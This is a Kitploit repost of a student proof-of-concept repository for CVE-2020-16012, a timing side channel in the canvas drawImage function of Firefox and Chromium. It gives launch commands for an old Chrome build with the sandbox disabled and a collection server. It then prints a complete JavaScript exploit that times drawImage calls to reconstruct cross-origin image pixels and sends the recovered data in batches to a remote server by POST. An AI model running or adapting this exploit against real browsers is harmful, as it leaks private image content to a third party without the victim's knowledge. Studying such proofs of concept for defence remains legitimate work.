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CVE-2020-16012-PoC — PoC for CVE-2020-16012, a timing side channel in drawImage in Firefox & Chrome | Kitploit
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GitHubleopoldabgn/cve-2020-16012-poc

CVE-2020-16012-PoC

PoC for CVE-2020-16012, a timing side channel in drawImage in Firefox & Chrome

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6 months agoNot yet reviewed

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CVE-2020-16012 | Side Channel Attack

This repository contains Proofs of Concept (PoCs) for CVE-2020-16012, a side-channel vulnerability identified in the implementation of CanvasRenderingContext2D.drawImage() in Firefox and Chromium.

This project was conducted as a collaborative effort by a team of six students during the second year of our Master’s degree (M2).

Client

Chrome Version 83

Installation Link

https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Linux_x64/756066/

Launch command

root@kitploit:~
unzip Linux...chrome.zip
cd chrome-linux/
./chrome --disable-gpu --disable-software-rasterizer --no-sandbox ../code/client/exploit.html

Server

Install Python Packages

root@kitploit:~
cd code/server
pip install -r requirements.txt

Launch Server

Runs on port 7000 on localhost.

root@kitploit:~
python3 server.py

Output

An image named output/img1.png will be created when you press "Ctrl+C" to shut down the server.

Script

root@kitploit:~
<script>
  let Heatmap = null
  let ScratchContext = null

  const Width = 75
  const Height = 75

  const Iters = 200
  const BATCH_SIZE = 100 // Batch size for sending data
  
  // Server base URL
const SERVER_URL = "http://192.168.0.26:7000"

function median(lst) {
let sorted = lst.slice(0).sort()
return sorted[Math.floor(sorted.length / 2)]
}

function zeroDelay() {
return new Promise(resolve => setTimeout(resolve, 0))
}

// Function to send RGB data to a server via POST (individual method)
async function sendPixelData(x, y, rgb) {
  // Sends RGB data to the remote server
  await fetch(`${SERVER_URL}`, {
      method: "POST",
      body: JSON.stringify({ x, y, rgb }),
      headers: { "Content-Type": "application/json" }
  })
}

// Function to send a batch of pixels
async function sendPixelBatch(pixelBatch) {
  await fetch(`${SERVER_URL}/batch`, {
      method: "POST",
      body: JSON.stringify({ pixels: pixelBatch }),
      headers: { "Content-Type": "application/json" }
  });
  console.log(`Sending a batch of ${pixelBatch.length} pixels`);
}

// Function to save the image on the server
async function saveImage() {
  try {
      const response = await fetch(`${SERVER_URL}/auto-save`);
      const data = await response.json();
      
      if (response.ok) {
          displayStatus(`Image saved: ${data.path}`, true);
          // Optionally, display the saved image
          document.getElementById('saved-image').src = `${SERVER_URL}/get-latest-image?t=${Date.now()}`;
          document.getElementById('saved-image-container').style.display = 'block';
      } else {
          displayStatus(`Error: ${data.error}`, false);
      }
  } catch (error) {
      displayStatus(`Connection error: ${error.message}`, false);
  }
}

// Function to display status messages
function displayStatus(message, isSuccess) {
  const statusElement = document.getElementById('status');
  statusElement.textContent = message;
  statusElement.className = isSuccess ? 'success' : 'error';
  statusElement.style.display = 'block';
  
  // Hide the message after 5 seconds
  setTimeout(() => {
      statusElement.style.display = 'none';
  }, 5000);
}

async function timePixel(image, x, y) {
let startTime = performance.now()
for (let j = 0; j < Iters; j++) {
  ScratchContext.drawImage(image, x, y, 1, 1, 0, 0, 1024, 1024)
}
/* in Chromium, the draw operations aren't actually performed
   immediately, but only after the JavaScript thread stops. we wait
   on a timeout with a duration of zero to give the browser a chance
   to do the drawing, as otherwise we'd just be measuring the time
   taken to enqueue all of the draw operations. */
await zeroDelay()
let endTime = performance.now()

return endTime - startTime
}

function drawHeatmap(heatmap) {
let min = Math.min(...heatmap.map(l => Math.min(...l)))
let max = Math.max(...heatmap.map(l => Math.max(...l)))

Heatmap.clearRect(0, 0, Width, Height)

for (let x = 0; x < heatmap.length; x++) {
  for (let y = 0; y < heatmap[x].length; y++) {
    let color = Math.round(255 * (max - heatmap[x][y]) / (max - min))
    Heatmap.fillStyle = `rgb(${color}, ${color}, ${color})`
    Heatmap.fillRect(x, y, 1, 1)
  }
}
}

async function recoverImage(image) {
document.getElementById('progress-info').textContent = "Initializing...";

/* the first couple of measurements are always higher
   than they're supposed to be because some interpreter
   optimizations haven't kicked in yet, so we "warm up"
   the interpreter by throwing away 5 measurements. */
for (let i = 0; i < 5; i++) {
  await timePixel(image, 0, 0)
}

let pixels = [];
let allPixelData = [];
let currentBatch = [];
const totalPixels = Width * Height;
let processedPixels = 0;

document.getElementById('progress-info').textContent = "Recovery in progress...";

for (let x = 0; x < Width; x++) {
  let col = []
  for (let y = 0; y < Height; y++) {
    rgb = await timePixel(image, x, y)
    col.push(rgb)
    
    // Add pixel to the current batch
    currentBatch.push({x, y, rgb});
    processedPixels++;
    
    // Update progress indicator
    document.getElementById('progress-info').textContent = 
        `Progress: ${processedPixels}/${totalPixels} pixels (${Math.round(processedPixels/totalPixels*100)}%)`;
    
    // If batch reaches limit, send it
    if (currentBatch.length >= BATCH_SIZE) {
      await sendPixelBatch([...currentBatch]); // Copy batch to avoid reference issues
      currentBatch = []; // Reset batch
    }

    drawHeatmap(pixels.concat([col]));
  }
  pixels.push(col)
}

// Send the last batch if pixels remain
if (currentBatch.length > 0) {
  await sendPixelBatch(currentBatch);
}

drawHeatmap(pixels)
document.getElementById('progress-info').textContent = "Recovery complete!";
document.getElementById('save-btn').disabled = false;
saveImage();
}

function init() {
ScratchContext = document.getElementById('scratch').getContext('2d')
ScratchContext.imageSmoothingEnabled = false

Heatmap = document.getElementById('heatmap').getContext('2d')
Heatmap.imageSmoothingEnabled = false

// Disable save button until recovery is complete
document.getElementById('save-btn').disabled = true;

recoverImage(document.getElementById('target'))
}
</script>
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